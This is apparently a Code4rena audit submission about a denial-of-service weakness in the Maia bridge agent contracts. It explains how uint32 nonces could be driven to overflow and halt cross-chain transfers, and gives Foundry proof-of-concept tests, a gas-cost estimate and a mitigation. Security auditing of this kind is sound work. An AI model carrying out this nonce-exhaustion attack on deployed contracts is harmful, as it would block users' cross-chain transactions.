DoS attack on settlementNonce and depositNonce

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L75 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L168 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L84 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L202

Vulnerability details

Impact

RootBridgeAgent.sol and BranchBridgeAgent.sol can't create more deposits and settlements, cross chain communication is impossible between attacked bridge agents

Description

RootBridgeAgent.sol - settlementNonce & BranchBridgeAgent.sol - depositNonce is responsible for identifying cross chain transactions. uint32 is used for both and is incremented with each cross-chain transaction between the bridge agents. The problem is that an attacker can deliberately increment depositNonce to reach uint32.max: making additional calls revert due to an arithmetic overflow.

src/RootBridgeAgent.sol - L75

    /// @notice Deposit nonce used for identifying transaction.
    uint32 public settlementNonce;

src/BranchBridgeAgent.sol - L84

   /// @notice Deposit nonce used for identifying the transaction.
   uint32 public depositNonce;

Currently this attack is quite expensive, however in the future it's possible that gas prices will be much cheaper making this attack more likely. It's also possible that Maia Ulysses will expand to other cheaper chains than the currently planned ones: Arbitrum, Ethereum, Base, Polygon, Binance Smart Chain, Avalanche, Fantom, Metis.

Currently Polygon and Fantom and deployments pose the biggest risk for this attack.

The cost of executing the attack on Fantom would be approximately $372 012 with FTM priced at 0.205 dollar and the average gas price of 35 Gwei from https://ftmscan.com/gastracker - image-link. Note that the actual gas cost may be a bit higher since the test does not include the full LayerZero endpoint execution (that cost is not present on Arbitrum deployments ArbitrumBranchBridgeAgent and it's corresponding RootBridgeAgent).

Proof of Concept

Calls revert

The first PoC shows that cross chain calls will revert when depositNonce reaches uint32.

1. open test/ulysses-omnichain/BranchBridgeAgentTest.t.sol
2. at the top of the file import and use stdStorage from forge test library

import { StdStorage } from "forge-std/Test.sol";

contract BranchBridgeAgentTest is Test {
    using stdStorage for StdStorage;
    ...

1. copy and paste the below test inside the contract body and run forge test --match-test testDosWithoutGas -vvvv

   function testDosWithoutGas() public {
        stdstore
            .target(address(bAgent))
            .sig("depositNonce()")
            .checked_write(type(uint32).max);

        assertEq(type(uint32).max, bAgent.depositNonce());
        GasParams memory gasParams = GasParams(0, 0);

                vm.expectRevert();
        IBranchRouter(bRouter).callOut{value: 0}("", gasParams);

        vm.expectRevert();
        IBranchRouter(bRouter).callOut{value: 0}("", gasParams);
    }

Gas calculation

The gas calculation uses a trick to calculate the correct gas used. Since incrementing the nonce to uint32 is very computationally heavy (would propably freeze your computer and exit the test), we only increment to uint16 and upscale the gas price to reflect how much uint32 incrementation will cost. To verify that the upscale math is correct, I included an additional test.

1. copy and paste the below tests inside the BranchBridgeAgentTest contract
2. you can change the gasPrice variable to calculate other chains besides FTM
3. run forge test --match-test testDosGasCalculation -vv
4. optionally run forge test --match-test testGasUpscale -vvvv

    function testDosGasCalculation() public {
        uint256 gasPrice = 35; // current gas price on FTM
        vm.txGasPrice(gasPrice);
        uint256 gasStart = gasleft();

        GasParams memory gasParams = GasParams(0, 0);
        for (uint256 i = 0; i < type(uint16).max; i++) {
            IBranchRouter(bRouter).callOut{value: 0}("", gasParams);
        }

        uint256 gasEnd = gasleft();
        uint256 gasUsed = ((gasStart - gasEnd) * tx.gasprice);
        uint256 gasUpscaled = gasUsed * type(uint16).max;

        // gas used for making uint32 calls to raise depositNonce()
        emit log_uint(gasUpscaled); // results are in gwei (NOT wei) -> convert to ether
        // $0.205 = 1 FTM & 35 gas price on FTM
        // 1814564 FTM * 0.205 = $372 012 to execute the attack
    }

    function testGasUpscale() public {
        uint64 maxUint16 = uint64(type(uint16).max) + 1;
        uint64 maxUint32 = uint64(type(uint32).max) + 1;

        assertEq(maxUint16 * maxUint16, maxUint32);
    }

Tools Used

Manual review, Foundry Tests, Block explorers, CoinTool gas prices

Recommended Mitigation Steps

Consider using uint64 instead of uint32 for nonces. uint64 would make this attack infeasible due to orders of magnitude higher gas costs.

Assessed type

Under/Overflow

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #834

[c4-pre-sort]

0xA5DF marked the issue as sufficient quality report

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as grade-a